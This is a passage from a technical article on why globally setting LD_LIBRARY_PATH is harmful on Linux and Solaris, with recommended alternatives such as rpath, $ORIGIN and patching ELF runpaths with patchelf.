<code>LD_LIBRARY_PATH<\/code> system-wide; and if you do, you will\nlikely break your system, even to the point of locking yourself out. Some of\nthe library names clash between \/usr\/lib and <code>\/opt\/csw\/lib<\/code>, and if you run the\nSolaris openssh daemon with <code>LD_LIBRARY_PATH<\/code> set to <code>\/opt\/csw\/lib<\/code>,\n<code>\/usr\/lib\/ssh\/sshd<\/code> will try to load <code>libcrypto<\/code> from <code>\/opt\/csw\/lib<\/code> and fail to\nstart.<\/p>\n<\/blockquote>\n<p>They also reference Rod Evan's blog article.<\/p>\n<p>The title of this article is inspired by the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Considered_harmful\">considered harmful<\/a> meme. See\nfor example <a href=\"http:\/\/homepages.cwi.nl\/~storm\/teaching\/reader\/Dijkstra68.pdf\">Go To Statement Considered Harmful<\/a> and <a href=\"http:\/\/wayback.archive.org\/web\/20150330111905\/http:\/\/aegis.sourceforge.net\/auug97.pdf\">Recursive Make\nConsidered Harmful<\/a>. As with the <code>LD_LIBRARY_PATH<\/code> that has legitimate uses,\ngoto has them as well, cf. <a href=\"http:\/\/www.clifford.at\/cfun\/cliffdev\/p261-knuth.pdf\">Structured Programming with go to<\/a> (Knuth,\n1974).<\/p>\n<h2 id=\"possible-roots\">Possible Roots<a class=\"headerlink\" href=\"#possible-roots\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Looking at the documented harmfulness of <code>LD_LIBRARY_PATH<\/code> one might wonder why\nit is popular in certain circles. One reason probably can be traced back to the\nstandard install note printed when installing a package that uses\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/GNU_Libtool\">Libtool<\/a> (often used with Autoconf\/Automake):<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"o\">----------------------------------------------------------------------<\/span>\n<span class=\"n\">Libraries<\/span><span class=\"w\"> <\/span><span class=\"n\">have<\/span><span class=\"w\"> <\/span><span class=\"n\">been<\/span><span class=\"w\"> <\/span><span class=\"n\">installed<\/span><span class=\"w\"> <\/span><span class=\"ow\">in<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">   <\/span><span class=\"o\">$<\/span><span class=\"n\">PREFIX<\/span><span class=\"o\">\/<\/span><span class=\"n\">lib<\/span>\n\n<span class=\"n\">If<\/span><span class=\"w\"> <\/span><span class=\"n\">you<\/span><span class=\"w\"> <\/span><span class=\"n\">ever<\/span><span class=\"w\"> <\/span><span class=\"n\">happen<\/span><span class=\"w\"> <\/span><span class=\"n\">to<\/span><span class=\"w\"> <\/span><span class=\"n\">want<\/span><span class=\"w\"> <\/span><span class=\"n\">to<\/span><span class=\"w\"> <\/span><span class=\"n\">link<\/span><span class=\"w\"> <\/span><span class=\"n\">against<\/span><span class=\"w\"> <\/span><span class=\"n\">installed<\/span><span class=\"w\"> <\/span><span class=\"n\">libraries<\/span>\n<span class=\"ow\">in<\/span><span class=\"w\"> <\/span><span class=\"n\">a<\/span><span class=\"w\"> <\/span><span class=\"n\">given<\/span><span class=\"w\"> <\/span><span class=\"n\">directory<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">LIBDIR<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">you<\/span><span class=\"w\"> <\/span><span class=\"n\">must<\/span><span class=\"w\"> <\/span><span class=\"n\">either<\/span><span class=\"w\"> <\/span><span class=\"n\">use<\/span><span class=\"w\"> <\/span><span class=\"n\">libtool<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"ow\">and<\/span>\n<span class=\"n\">specify<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"n\">full<\/span><span class=\"w\"> <\/span><span class=\"n\">pathname<\/span><span class=\"w\"> <\/span><span class=\"n\">of<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"n\">library<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"ow\">or<\/span><span class=\"w\"> <\/span><span class=\"n\">use<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"err\">`<\/span><span class=\"o\">-<\/span><span class=\"n\">LLIBDIR<\/span><span class=\"s1\">&#39;<\/span>\n<span class=\"n\">flag<\/span><span class=\"w\"> <\/span><span class=\"n\">during<\/span><span class=\"w\"> <\/span><span class=\"n\">linking<\/span><span class=\"w\"> <\/span><span class=\"ow\">and<\/span><span class=\"w\"> <\/span><span class=\"n\">do<\/span><span class=\"w\"> <\/span><span class=\"n\">at<\/span><span class=\"w\"> <\/span><span class=\"n\">least<\/span><span class=\"w\"> <\/span><span class=\"n\">one<\/span><span class=\"w\"> <\/span><span class=\"n\">of<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"n\">following<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span>\n<span class=\"w\">   <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"n\">add<\/span><span class=\"w\"> <\/span><span class=\"n\">LIBDIR<\/span><span class=\"w\"> <\/span><span class=\"n\">to<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"err\">`<\/span><span class=\"n\">LD_LIBRARY_PATH<\/span><span class=\"s1\">&#39; environment variable<\/span>\n<span class=\"w\"> <\/span><span class=\"n\">during<\/span><span class=\"w\"> <\/span><span class=\"n\">execution<\/span>\n<span class=\"w\">   <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"n\">add<\/span><span class=\"w\"> <\/span><span class=\"n\">LIBDIR<\/span><span class=\"w\"> <\/span><span class=\"n\">to<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"err\">`<\/span><span class=\"n\">LD_RUN_PATH<\/span><span class=\"s1\">&#39; environment variable<\/span>\n<span class=\"w\"> <\/span><span class=\"n\">during<\/span><span class=\"w\"> <\/span><span class=\"n\">linking<\/span>\n<span class=\"w\">   <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"n\">use<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"err\">`<\/span><span class=\"o\">-<\/span><span class=\"n\">Wl<\/span><span class=\"p\">,<\/span><span class=\"o\">-<\/span><span class=\"n\">rpath<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">Wl<\/span><span class=\"p\">,<\/span><span class=\"n\">LIBDIR<\/span><span class=\"s1\">&#39; linker flag<\/span>\n<span class=\"w\">   <\/span><span class=\"o\">-<\/span><span class=\"w\"> <\/span><span class=\"n\">have<\/span><span class=\"w\"> <\/span><span class=\"n\">your<\/span><span class=\"w\"> <\/span><span class=\"n\">system<\/span><span class=\"w\"> <\/span><span class=\"n\">administrator<\/span><span class=\"w\"> <\/span><span class=\"n\">add<\/span><span class=\"w\"> <\/span><span class=\"n\">LIBDIR<\/span><span class=\"w\"> <\/span><span class=\"n\">to<\/span><span class=\"w\"> <\/span><span class=\"err\">`<\/span><span class=\"o\">\/<\/span><span class=\"n\">etc<\/span><span class=\"o\">\/<\/span><span class=\"n\">ld<\/span><span class=\"o\">.<\/span><span class=\"n\">so<\/span><span class=\"o\">.<\/span><span class=\"n\">conf<\/span><span class=\"s1\">&#39;<\/span>\n\n<span class=\"n\">See<\/span><span class=\"w\"> <\/span><span class=\"n\">any<\/span><span class=\"w\"> <\/span><span class=\"n\">operating<\/span><span class=\"w\"> <\/span><span class=\"n\">system<\/span><span class=\"w\"> <\/span><span class=\"n\">documentation<\/span><span class=\"w\"> <\/span><span class=\"n\">about<\/span><span class=\"w\"> <\/span><span class=\"n\">shared<\/span><span class=\"w\"> <\/span><span class=\"n\">libraries<\/span><span class=\"w\"> <\/span><span class=\"k\">for<\/span>\n<span class=\"n\">more<\/span><span class=\"w\"> <\/span><span class=\"n\">information<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">such<\/span><span class=\"w\"> <\/span><span class=\"k\">as<\/span><span class=\"w\"> <\/span><span class=\"n\">the<\/span><span class=\"w\"> <\/span><span class=\"n\">ld<\/span><span class=\"p\">(<\/span><span class=\"mi\">1<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"ow\">and<\/span><span class=\"w\"> <\/span><span class=\"n\">ld<\/span><span class=\"o\">.<\/span><span class=\"n\">so<\/span><span class=\"p\">(<\/span><span class=\"mi\">8<\/span><span class=\"p\">)<\/span><span class=\"w\"> <\/span><span class=\"n\">manual<\/span><span class=\"w\"> <\/span><span class=\"n\">pages<\/span><span class=\"o\">.<\/span>\n<span class=\"o\">----------------------------------------------------------------------<\/span>\n<\/code><\/pre><\/div>\n\n<p>This note contains two bad advices:<\/p>\n<ul>\n<li>the use of <code>LD_LIBRARY_PATH<\/code><\/li>\n<li>the use of <code>LD_RUN_PATH<\/code> (which is in effect similar to <code>LD_LIBRARY_PATH<\/code> but only considered if the <code>-rpath<\/code> option isn't supplied)<\/li>\n<\/ul>\n<p>It is unfortunate because the ramifications of the alternatives aren't qualified and <code>LD_LIBRARY_PATH<\/code> is even mentioned first.<\/p>\n<p>Thus, a developer or sysadmin who doesn't know much about linking might be\ntempted to see the <code>LD_LIBRARY_PATH<\/code> as <em>THE<\/em> standard way and because it works for\none package then wrongly internalize that as this-is-how-it-is-done-on-unix.<\/p>\n<p>In addition to that, some vendors that distribute binary\nexecutables and libraries just give bad advice in their install\ninstructions. For example Oracle, the well-known 'enterprise' DB\nvendor:<\/p>\n<blockquote>\n<p>Add the name of the directory containing the Instant Client\nlibraries to <code>LD_LIBRARY_PATH<\/code>.<\/p>\n<\/blockquote>\n<p>(<a href=\"http:\/\/docs.oracle.com\/cd\/E11882_01\/server.112\/e16604\/apd.htm#SQPUG157\">SQLPlus\u00ae User's Guide and Reference, Oracle 11g2, Configuring\nSQLPlus Instant Client<\/a>)<\/p>\n<blockquote>\n<p>Before you can connect Instant Client (including Instant Client\nLight) to an Oracle database, ensure that the <code>LD_LIBRARY_PATH<\/code>\nenvironment variable specifies the directory that contains the\nInstant Client libraries.<\/p>\n<\/blockquote>\n<p>(<a href=\"https:\/\/docs.oracle.com\/cd\/E11882_01\/install.112\/e24322\/post_inst_task.htm#LACLI1331\">Database Client Installation Guide, Oracle 11g2, Recommended\nPostinstallation Tasks<\/a>)<\/p>\n<blockquote>\n<p>The <code>instantclient_12_1<\/code> directory must be on the <code>LD_LIBRARY_PATH<\/code>\nbefore linking the application.<\/p>\n<\/blockquote>\n<p>(<a href=\"https:\/\/docs.oracle.com\/database\/121\/LNCPP\/install.htm#LNCPP20085\">Oracle C++ Call Interface Programmer's Guide, Oracle 12c,\nInstallation and Upgrading<\/a>)<\/p>\n<p>Last but not least, a quick google search regarding some\ncannot-start-program-library-not-found error might turn up low quality forum posts,\nwhere setting the <code>LD_LIBRARY_PATH<\/code> is suggested.<\/p>\n<h2 id=\"harm-at-compile-time\">Harm at compile time<a class=\"headerlink\" href=\"#harm-at-compile-time\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>At compile time, the linker <code>ld<\/code> is usually called by the compiler such that\nall object files a binary executable (or library) consists of are linked\ntogether and dependent libraries are referenced. How <code>LD_LIBRARY_PATH<\/code>\ninfluences the linking differs on Linux and Solaris.<\/p>\n<h3 id=\"linux\">Linux<a class=\"headerlink\" href=\"#linux\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>The <code>LD_LIBRARY_PATH<\/code> directories aren't considered when <code>ld<\/code> searches for\nlibraries specified via <code>-l<\/code>. But, the <code>LD_LIBRARY_PATH<\/code> is considered when\nshared library dependencies of linked shared libraries are resolved (<a href=\"https:\/\/www.freebsd.org\/cgi\/man.cgi?query=ld&amp;apropos=0&amp;sektion=1&amp;manpath=CentOS+7.1&amp;arch=default&amp;format=html\">cf.\n-rpath-link in ld(1)<\/a>). In that case, the <code>LD_LIBRARY_PATH<\/code> directories\nare searched after the ones specified with <code>-rpath-link<\/code> and <code>-rpath<\/code> but\nbefore ones specified by ELF attributes and the default ones (e.g. <code>\/lib<\/code> and <code>\/usr\/lib<\/code>).<\/p>\n<h3 id=\"solaris\">Solaris<a class=\"headerlink\" href=\"#solaris\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>On Solaris, in contrast to Linux, the <a href=\"https:\/\/www.freebsd.org\/cgi\/man.cgi?query=ld&amp;apropos=0&amp;sektion=1&amp;manpath=SunOS+5.10&amp;arch=default&amp;format=html\"><code>LD_LIBRARY_PATH<\/code> directories are\nsearched by <code>ld<\/code><\/a> when searching for libraries specified via <code>-l<\/code>. Those\ndirectories are appended to the search path resulting from any <code>-L<\/code> option<\/p>\n<h3 id=\"makefiles\">Makefiles<a class=\"headerlink\" href=\"#makefiles\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>Even if the <code>LD_LIBRARY_PATH<\/code> is not globally set, it still may be in effect\nbecause a poorly written makefile assigns this environment variable.<\/p>\n<p>Also, when <code>make<\/code> is called from an IDE (like emacs) the environment of that\nprocess is inherited - thus, an <code>LD_LIBRARY_PATH<\/code> setting in the start script\nof that IDE may induce harm.<\/p>\n<h2 id=\"harm-at-runtime\">Harm at runtime<a class=\"headerlink\" href=\"#harm-at-runtime\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>At runtime, the runtime linker (e.g. on Linux this is <code>ld.so<\/code>) searches the\n<code>LD_LIBRARY_PATH<\/code> directories <a href=\"https:\/\/www.freebsd.org\/cgi\/man.cgi?query=ld.so&amp;apropos=0&amp;sektion=8&amp;manpath=CentOS+7.1&amp;arch=default&amp;format=html\">before the ones specified<\/a> by the\n<code>DT_RUNPATH<\/code> ELF attribute and the before default ones.<\/p>\n<p>On Linux, the <code>DT_RPATH<\/code> ELF attribute (which is documented as deprecated) is\nconsidered before the <code>LD_LIBRARY_PATH<\/code>, if and only if the binary doesn't also\nhas the <code>DT_RUNPATH<\/code> attribute set. In that case the <code>DT_RPATH<\/code> ELF attribute\nis ignored.<\/p>\n<p>The writing of these two  ELF attributes is system dependent:<\/p>\n<table class=\"m-table\">\n<thead>\n<tr>\n<th>System<\/th>\n<th>Compiler switch<\/th>\n<th>ELF attribute<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>Linux<\/td>\n<td><code>-Wl,-rpath,SOMEDIR<\/code><\/td>\n<td><code>DT_RPATH = SOMEDIR<\/code><\/td>\n<\/tr>\n<tr>\n<td>Linux<\/td>\n<td><code>-Wl,-RSOMEDIR<\/code><\/td>\n<td><code>DT_RPATH = SOMEDIR<\/code><\/td>\n<\/tr>\n<tr>\n<td>Linux<\/td>\n<td><code>-Wl,--enable-new-dtags,-rpath,SOMEDIR<\/code><\/td>\n<td><code>DT_RUNPATH = SOMEDIR<\/code><\/td>\n<\/tr>\n<tr>\n<td>Solaris<\/td>\n<td><code>-RSOMEDIR<\/code><\/td>\n<td><code>DT_RUNPATH = DT_RPATH = SOMEDIR<\/code><\/td>\n<\/tr>\n<tr>\n<td>Solaris<\/td>\n<td><code>-Wl,-RSOMEDIR<\/code><\/td>\n<td><code>DT_RUNPATH = DT_RPATH = SOMEDIR<\/code><\/td>\n<\/tr>\n<tr>\n<td>Solaris<\/td>\n<td><code>-Wl,-rpath,SOMEDIR<\/code><\/td>\n<td><code>DT_RUNPATH = DT_RPATH = SOMEDIR<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Note that:<\/p>\n<ul>\n<li>The compiler option <code>-Wl<\/code> instructs the compiler to pass the\n  option following the first comma directly to the linker. All\n  following commas are interpreted as argument delimiter.<\/li>\n<li>On Linux, <code>-Wl-path,SOMEDIR<\/code> and <code>-Wl,-RSOMEDIR<\/code> is\n  equivalent due to option parsing magic - for compatibility\n  reasons <code>-R<\/code> is overloaded. If the argument of <code>-R<\/code> is a\n  filename the option has a different effect.<\/li>\n<li>On Solaris, the compiler and the linker both understand <code>-R<\/code> such that <code>-Wl,-R<\/code> is equivalent to <code>-Wl,-rpath,SOMEDIR<\/code><\/li>\n<li>The Solaris 10 <code>ld<\/code> also understands <code>-rpath<\/code> although this\n  isn't documented in all versions of the <a href=\"https:\/\/www.freebsd.org\/cgi\/man.cgi?query=ld&amp;apropos=0&amp;sektion=1&amp;manpath=SunOS+5.10&amp;arch=default&amp;format=html\">SunOS 5.10 ld(1) man page<\/a>.\n  It is documented in the 2011 version of that page, though.<\/li>\n<\/ul>\n<h2 id=\"conclusion\">Conclusion<a class=\"headerlink\" href=\"#conclusion\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Globally setting the <code>LD_LIBRARY_PATH<\/code> is never a good idea. The \nnarrow original use case of <code>LD_LIBRARY_PATH<\/code> are quick tests of alternate libraries.\nWhen dealing with properly created executables setting the\n<code>LD_LIBRARY_PATH<\/code> is redundant in the best case, but it breaks\nthings in the common case. There are better mechanisms and tools\nthan <code>LD_LIBRARY_PATH<\/code> available to instruct the linker how to\nsearch for the correct libraries at build-time and at runtime.<\/p>\n<h2 id=\"recommendations\">Recommendations<a class=\"headerlink\" href=\"#recommendations\" title=\"Permanent link\">&para;<\/a><\/h2>\n<h3 id=\"verify-environment-settings\">Verify Environment Settings<a class=\"headerlink\" href=\"#verify-environment-settings\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>Verify that in fact <code>LD_LIBRARY_PATH<\/code> (or it variants\n<code>LD_LIBRARY_PATH_32<\/code>, <code>LD_LIBRARY_PATH_64<\/code> or <code>LD_RUN_PATH<\/code>)\nisn't globally set via shell run control files like\n<code>\/etc\/profile<\/code>, <code>\/etc\/bashrc<\/code> or something like that. Also check\nthat it isn't set in user dotfiles like <code>~\/.bashrc<\/code>, <code>~\/.profile<\/code>\netc. Such a setting would be bad in a config of a development user,\nbut exorbitantly more so in the profile of a production user.<\/p>\n<p>If any running process still has the <code>LD_LIBRARY_PATH<\/code> set can be\nverified via looking at its environment. For example, on Linux\nvia <a href=\"https:\/\/www.freebsd.org\/cgi\/man.cgi?query=proc&amp;apropos=0&amp;sektion=5&amp;manpath=CentOS+7.1&amp;arch=default&amp;format=html\"><code>\/proc<\/code><\/a>:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span>&lt;<span class=\"w\"> <\/span>\/proc\/<span class=\"nv\">$SOMEPID<\/span>\/environ<span class=\"w\"> <\/span>tr<span class=\"w\"> <\/span><span class=\"s1\">&#39;\\0&#39;<\/span><span class=\"w\"> <\/span><span class=\"s1\">&#39;\\n&#39;<\/span><span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>grep<span class=\"w\"> <\/span>LD_LIBRARY_PATH\n<\/code><\/pre><\/div>\n\n<p>Or on Solaris via <a href=\"https:\/\/www.freebsd.org\/cgi\/man.cgi?query=pargs&amp;apropos=0&amp;sektion=1&amp;manpath=SunOS+5.10&amp;arch=default&amp;format=html\"><code>pargs<\/code><\/a>:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span>pargs<span class=\"w\"> <\/span>-e<span class=\"w\"> <\/span><span class=\"nv\">$SOMEPID<\/span><span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>grep<span class=\"w\"> <\/span>LD_LIBRARY_PATH\n<\/code><\/pre><\/div>\n\n<h3 id=\"set-the-runtime-library-search-path-at-build-time\">Set the runtime library search path at build time<a class=\"headerlink\" href=\"#set-the-runtime-library-search-path-at-build-time\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>Analogously to the <code>-LSOMEDIR<\/code> option that adds a directory to the build-time\nlibrary search path, the option <code>-Wl,-rpath,SOMEDIR<\/code> (or <code>-Wl,-RSOMEDIR<\/code>) adds a\ndirectory to the runtime library search path. That means that the\nresulting path is written by the linker into the <code>DT_RPATH<\/code>\nand\/or <code>DT_RUNPATH<\/code> ELF attribute of the resulting binary.<\/p>\n<p>The thus set attributes can be printed on Linux via <code>readelf<\/code>, e.g.<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span>readelf<span class=\"w\"> <\/span>-d<span class=\"w\"> <\/span>my_binary_or_so<span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>grep<span class=\"w\"> <\/span>PATH\n<span class=\"go\"> 0x000000000000001d (RUNPATH)            Library runpath: [SOMEDIR]<\/span>\n<\/code><\/pre><\/div>\n\n<p>And on Solaris via <code>elfdump<\/code>:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span>elfdump<span class=\"w\"> <\/span>my_binary_or_so<span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>grep<span class=\"w\"> <\/span>PATH\n<span class=\"go\">       [4]  RUNPATH           0x128               SOMEDIR<\/span>\n<span class=\"go\">       [5]  RPATH             0x128               SOMEDIR<\/span>\n<\/code><\/pre><\/div>\n\n<p>Other interesting attributes dumped by those tools and that are relevant in\nthis context are <code>NEEDED<\/code> (i.e. the dependent shared libraries specified via\n<code>-l<\/code> or as absolute path) and <code>SONAME<\/code>  (i.e. the name of a shared library\nthat is copied from the library to the <code>NEEDED<\/code> attribute of the binary that\ndepends on that library).<\/p>\n<p>The effect of different runpaths and specified libraries can be verified via calling\n<code>ldd my_binary_or_so<\/code>. When it outputs contains lines like<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>libxyz.so =&gt; not found\n<\/code><\/pre><\/div>\n\n<p>on Linux, or on Solaris<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>libxyz.so =&gt;     (file not found)\n<\/code><\/pre><\/div>\n\n<p>then the path is still incomplete or incorrect and the runtime\nlinker will abort the program start with a message like this<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"o\">.\/<\/span><span class=\"n\">my_binary<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">error<\/span><span class=\"w\"> <\/span><span class=\"k\">while<\/span><span class=\"w\"> <\/span><span class=\"n\">loading<\/span><span class=\"w\"> <\/span><span class=\"n\">shared<\/span><span class=\"w\"> <\/span><span class=\"n\">libraries<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">libxyz<\/span><span class=\"o\">.<\/span><span class=\"n\">so<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">cannot<\/span><span class=\"w\"> <\/span><span class=\"n\">open<\/span><span class=\"w\"> <\/span><span class=\"n\">shared<\/span><span class=\"w\"> <\/span><span class=\"n\">object<\/span><span class=\"w\"> <\/span><span class=\"n\">file<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">No<\/span><span class=\"w\"> <\/span><span class=\"n\">such<\/span><span class=\"w\"> <\/span><span class=\"n\">file<\/span><span class=\"w\"> <\/span><span class=\"ow\">or<\/span><span class=\"w\"> <\/span><span class=\"n\">directory<\/span>\n<\/code><\/pre><\/div>\n\n<p>on Linux and on Solaris:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>ld.so.1: my_binary: fatal: libxyz.so: open failed: No such file or directory\nKilled\n<\/code><\/pre><\/div>\n\n<p>The Linux runtime linker exits with exit status 127, while the Solaris runtime\nlinker exits with 137.<\/p>\n<p>When the start of a binary has succeeded one can verify the actually runtime linked libraries via <code>pldd<\/code>, which is available on <a href=\"http:\/\/man7.org\/linux\/man-pages\/man1\/pldd.1.html\">Linux<\/a> and <a href=\"https:\/\/www.freebsd.org\/cgi\/man.cgi?query=pldd&amp;apropos=0&amp;sektion=1&amp;manpath=SunOS+5.10&amp;arch=default&amp;format=html\">Solaris<\/a>. Or, as an alternative, via <a href=\"https:\/\/www.freebsd.org\/cgi\/man.cgi?query=lsof&amp;apropos=0&amp;sektion=8&amp;manpath=CentOS+7.1&amp;arch=default&amp;format=html\"><code>lsof<\/code><\/a>.<\/p>\n<h3 id=\"use-origin\">Use <code>$ORIGIN<\/code><a class=\"headerlink\" href=\"#use-origin\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>The linker variable <code>$ORIGIN<\/code> is expanded by the runtime linker\nwith the current 'origin' of the ELF binary.\nThe origin is the directory where the binary is stored.<\/p>\n<p>Thus, using this variable in a path specified via\n<code>-Wl,-rpath,SOMEDIR<\/code> (or via <code>-Wl,-RSOMEDIR<\/code>) allows for path\nspecifications that are relative to the location of the binary.<\/p>\n<p>The obvious usecase are binaries that are supposed to be installed inside a non-standard prefix (e.g.  <code>\/opt\/foo<\/code>) with some of its needed libraries. The directory could be then specified like this (in a shell):<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>-Wl,-rpath,&#39;$ORIGIN\/..\/lib64&#39;\n<\/code><\/pre><\/div>\n\n<p>Note that the linker variable <code>$ORIGIN<\/code> is enclosed in single\nquotes so that it is not expanded by the shell (e.g. bash).<\/p>\n<p>When using this in a makefile, in addition to the single quotes,\nthe dollar sign has to be escaped such that make doesn't expand\nit as make variable:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>-wl,-rpath,&#39;$$ORIGIN\/..\/lib64&#39;\n<\/code><\/pre><\/div>\n\n<p>The linker variable <code>$ORIGIN<\/code> is understood by the <a href=\"https:\/\/www.freebsd.org\/cgi\/man.cgi?query=ld.so&amp;apropos=0&amp;sektion=8&amp;manpath=CentOS+7.1&amp;arch=default&amp;format=html\">Linux<\/a> and by\nthe <a href=\"https:\/\/www.freebsd.org\/cgi\/man.cgi?query=ld.so.1&amp;apropos=0&amp;sektion=1&amp;manpath=SunOS+5.10&amp;arch=default&amp;format=html\">Solaris runtime linker<\/a>.<\/p>\n<p>On Linux, the runtime linker also <a href=\"https:\/\/www.freebsd.org\/cgi\/man.cgi?query=ld.so&amp;apropos=0&amp;sektion=8&amp;manpath=CentOS+7.1&amp;arch=default&amp;format=html\">expands a few other\nvariables<\/a>.<\/p>\n<h3 id=\"on-solaris-use-wl-i\">On Solaris, use <code>-Wl,-i<\/code><a class=\"headerlink\" href=\"#on-solaris-use-wl-i\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>The option <code>-Wl,-i<\/code> instructs the linker to ignore any\n<code>LD_LIBRARY_PATH<\/code> environment variable. Thus, this variable can\nbe used as safety net in case <code>LD_LIBRARY_PATH<\/code> accidentally is\nstill set.<\/p>\n<p>Unfortunately, <code>ld<\/code> on Linux interprets <code>-i<\/code> differently\n(i.e. as: link incrementally).<\/p>\n<h3 id=\"patch-existing-elf-binaries\">Patch existing ELF binaries<a class=\"headerlink\" href=\"#patch-existing-elf-binaries\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>In case one doesn't have access to the source code, it is still\nan option to rewrite the <code>DT_RPATH<\/code> and\/or <code>DT_RUNPATH<\/code> attributes\nof an exisiting ELF binary. The tool <a href=\"https:\/\/nixos.org\/patchelf.html\"><code>patchelf<\/code><\/a> supports this.<\/p>\n<p>For example, to fix some Oracle executables and the\nclient library that are part of the Oracle 11g2 'Instant Client' (for Linux):<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span>patchelf<span class=\"w\"> <\/span>--set-rpath<span class=\"w\"> <\/span><span class=\"s1\">&#39;$ORIGIN\/..&#39;<\/span><span class=\"w\"> <\/span>\/path\/to\/instantclient_11_2\/sdk\/proc\n<span class=\"gp\">$ <\/span>patchelf<span class=\"w\"> <\/span>--set-rpath<span class=\"w\"> <\/span><span class=\"s1\">&#39;$ORIGIN&#39;<\/span><span class=\"w\">    <\/span>\/path\/to\/instantclient_11_2\/sqlplus\n<span class=\"gp\">$ <\/span>patchelf<span class=\"w\"> <\/span>--set-rpath<span class=\"w\"> <\/span><span class=\"s1\">&#39;$ORIGIN&#39;<\/span><span class=\"w\">    <\/span>\/path\/to\/instantclient_11_2\/libclntsh.so.11.1\n<\/code><\/pre><\/div>\n\n<p>The effectiveness of such changes can be verified with the usual tools, e.g.:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span>patchelf<span class=\"w\"> <\/span>--print-rpath<span class=\"w\"> <\/span>mybinary<span class=\"w\">   <\/span><span class=\"c1\"># or:<\/span>\n<span class=\"gp\">$ <\/span>readelf<span class=\"w\"> <\/span>-d<span class=\"w\"> <\/span>mybinary<span class=\"w\"> <\/span><span class=\"p\">|<\/span><span class=\"w\"> <\/span>grep<span class=\"w\"> <\/span>PATH\n<span class=\"gp\">$ <\/span>ldd<span class=\"w\"> <\/span>mybinary\n<\/code><\/pre><\/div>\n\n<p>After the change the <code>ldd<\/code> utility shouldn't print any 'not found' lines, anymore.<\/p>\n<p><a href=\"https:\/\/nixos.org\/patchelf.html\">Patchelf<\/a> is packaged for the major Linux distributions and should\nalso be portable to other ELF platforms.<\/p>\n<p>Solaris 11 (and apparently later Solaris 10 patch levels) come\nwith the tool <a href=\"https:\/\/blogs.oracle.com\/ali\/entry\/introducing_elfedit_a_tool_for\"><code>elfedit<\/code><\/a> that can also be used to edit the\n<code>DT_RUNPATH<\/code>\/<code>DT_RPATH<\/code> ELF attributes. Example:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>elfedit<span class=\"w\"> <\/span>-e<span class=\"w\"> <\/span><span class=\"s1\">&#39;dyn:runpath $ORIGIN\/lib&#39;<\/span><span class=\"w\"> <\/span>mybinary\n<\/code><\/pre><\/div>\n\n<p>However (in contrast to patchelf) it has <a href=\"https:\/\/blogs.oracle.com\/ali\/entry\/avoiding_ld_library_path_the\">some limitations<\/a>\n(cf. its man page or <a href=\"https:\/\/blogs.oracle.com\/ali\/entry\/changing_elf_runpaths\">Changing ELF Runpaths<\/a>) - e.g. such\nthat elfedit doesn't 